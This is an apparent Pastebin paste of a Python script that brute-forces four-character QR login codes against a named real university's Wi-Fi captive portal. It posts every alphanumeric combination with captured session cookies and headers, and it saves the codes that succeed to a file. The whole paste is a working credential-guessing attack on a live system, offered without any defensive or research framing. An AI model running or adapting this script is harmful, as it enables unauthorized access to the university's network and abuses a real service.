Advertisement
Guest User

Untitled

a guest
Jan 14th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.89 KB | None | 0 0
  1. import requests
  2. import time
  3. import os
  4. import json
  5.  
  6. url = "https://tune.telkomuniversity.ac.id/eportal/InterFace.do"
  7.  
  8. querystring = {"method":"loginWithQrCode"}
  9.  
  10. file = open("qrcode.txt","w")
  11.  
  12. n = 0;
  13. maxN = 36*36*36*36
  14. kata = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','t','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
  15. # kata = ['a','b','c']
  16. for i in kata:
  17. for j in kata:
  18. for k in kata:
  19. for l in kata:
  20. guest = "qrCode="+i+j+k+l
  21. payload = guest+"&queryString=wlanuserip%3D640db6267cefc9cbdda8d41bc069e7cf%26wlanacname%3D45b404f1be9dcfaf747f606868f9189e%26ssid%3D%26nasip%3Dbf068928361ea149902e7bfc99c1bb94%26snmpagentip%3D%26mac%3Dc4192fe0c8704c75c38aecda1849270b%26t%3Dwireless-v2%26url%3D2c0328164651e2b4f13b933ddf36628bea622dedcc302b30%26apmac%3D%26nasid%3D45b404f1be9dcfaf747f606868f9189e%26vid%3Dc883dadd9b82c726%26port%3D16bb762d079b4347%26nasportid%3Da4ea9de28cbfe9fc659fd94ce124213546e38354e5e2ab7ccdfaf254a69b19117652f4af90583d80"
  22. headers = {
  23. 'Origin': "https://tune.telkomuniversity.ac.id",
  24. 'Accept-Encoding': "gzip, deflate, br",
  25. 'Accept-Language': "en-US,en;q=0.9",
  26. 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
  27. 'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
  28. 'Accept': "*/*",
  29. 'Referer': "https://tune.telkomuniversity.ac.id/eportal/module/style_guest_register.jsp?indexUrl=https://tune.telkomuniversity.ac.id/eportal/index.jsp?wlanuserip=640db6267cefc9cbdda8d41bc069e7cf&wlanacname=45b404f1be9dcfaf747f606868f9189e&ssid=&nasip=bf068928361ea149902e7bfc99c1bb94&snmpagentip=&mac=c4192fe0c8704c75c38aecda1849270b&t=wireless-v2&url=2c0328164651e2b4f13b933ddf36628bea622dedcc302b30&apmac=&nasid=45b404f1be9dcfaf747f606868f9189e&vid=c883dadd9b82c726&port=16bb762d079b4347&nasportid=a4ea9de28cbfe9fc659fd94ce124213546e38354e5e2ab7ccdfaf254a69b19117652f4af90583d80",
  30. 'Cookie': "EPORTAL_COOKIE_USERNAME=; EPORTAL_COOKIE_PASSWORD=; EPORTAL_COOKIE_SERVER=; EPORTAL_COOKIE_DOMAIN=; EPORTAL_COOKIE_SAVEPASSWORD=false; EPORTAL_AUTO_LAND=false; JSESSIONID=A1B8F0345D2BE629DFBE63049F5E028C",
  31. 'Connection': "keep-alive",
  32. 'cache-control': "no-cache",
  33. 'Postman-Token': "04e66a19-5e55-48e0-bb51-48e76204de4d"
  34. }
  35.  
  36. response = requests.request("POST", url, data=payload, headers=headers, params=querystring)
  37. json = response.json()
  38. if json['result'] == 'success':
  39. file.write(str(i+j+k+l+"\n"))
  40. os.system('cls')
  41. print(i+j+k+l,(n/maxN)*100)
  42. n=n+1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement